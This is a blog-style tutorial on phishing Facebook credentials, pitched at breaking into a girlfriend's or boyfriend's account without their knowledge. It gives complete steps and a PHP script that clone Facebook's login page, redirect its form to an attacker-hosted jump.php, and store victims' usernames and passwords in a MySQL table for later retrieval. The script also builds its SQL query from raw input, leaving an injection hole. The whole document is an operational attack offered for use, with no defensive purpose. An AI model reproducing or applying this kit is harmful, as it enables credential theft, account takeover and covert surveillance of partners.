Hack into Facebook by phishing!

Wonder how to hack into your girfriend's/boyfriend's facebook account without her knowing it! Haey come on it's not fishy. But you can phish it though it is a script hacker idea! :P
Come on let's do it.

The very basic thing you need to do is to register with a free web hosting provider with mysql option. I chose x90x.net for this. Jus register with them creating a login; then register you domain name. Lemme give 'facetext.x90x.net' as the domain name; then create a database by clicking on 'mysql databases' option from the control panel. Name it 'u190610349_jump', user id as 'u190610349_jump' with password as Hacked*009 (You can choose any name of your own. (I'm using these names in this post cos it's MY POST!!!).

By default you'll get the MySQL host name as mysql.x90x.net.

Next enter to 'myphpadmin' area in the control panel of the host server and access the db specifying the password. Now you are in the db. Here create a new table named 'storage' with just two fields named 'Username' and 'Password'. Specify the type as varchar and length of 30 each. This is just for storing the username and password of your victims'!!!

Your db table may look something like this if you see it's structure.

Just log into facebook login page: www.facebook.com. Type Ctrl+S. Save the page in your machine as login.htm.

Next open a notepad and type the below code in it.


<?php
$con = mysql_connect("mysql.x90x.net", "u190610349_jump", "Hacked*009");
if(!$con){
echo "can't connect to the db server";
return false;
}
$db = mysql_select_db("u190610349_jump", $con);
if(!$db){
echo "can't select the db";
return false;
}
$query = "insert into storage values('".$_POST['email']."','".$_POST['pass']."')";
$result = mysql_query($query);
if(!$result){
echo "can't perform query";
return false;
}
?>


Save this file as 'jump.php' in your machine.


Next right click on the file login.htm and then type Ctrl+F and type 'action' to search. In the url given in the action tag, specify this URL "http://YOURDOMAINNAME/jump.php" instead of facebook URL. Further, delete the line which follows-onsubmit="return Event.__inlineSubmit(this,event)">
Now save the file and you are all set!


Now you have a db on x90x.net and we have three files/folders in your desktop as shown below:

Now login to x90x.net. Go to control panel. Log in to File manager 1 area. You can see public_html folder there. Double click to open it. Then click on "New Dir" button and create a new directory with name same as the folder name 'login_files'. Inside it click on upload file. And select the files you have in your 'login_files" folder in your desktop.

Then go to the same public_html folder and upload the login.htm page and jump.php from your desktop. Now you have all files and db on your server . You can test it by going to url http://YOURDOMAINNAME/login.htm.
It will open the fake facebook page. Enter the user name & pwd.
Now login to x90x.net, Control panel, myphp admin area and the under SQL tab type the query:
select * from storage

It will give all the username and passwords stored in it.!!!
Isn't it easy cool? Try it out.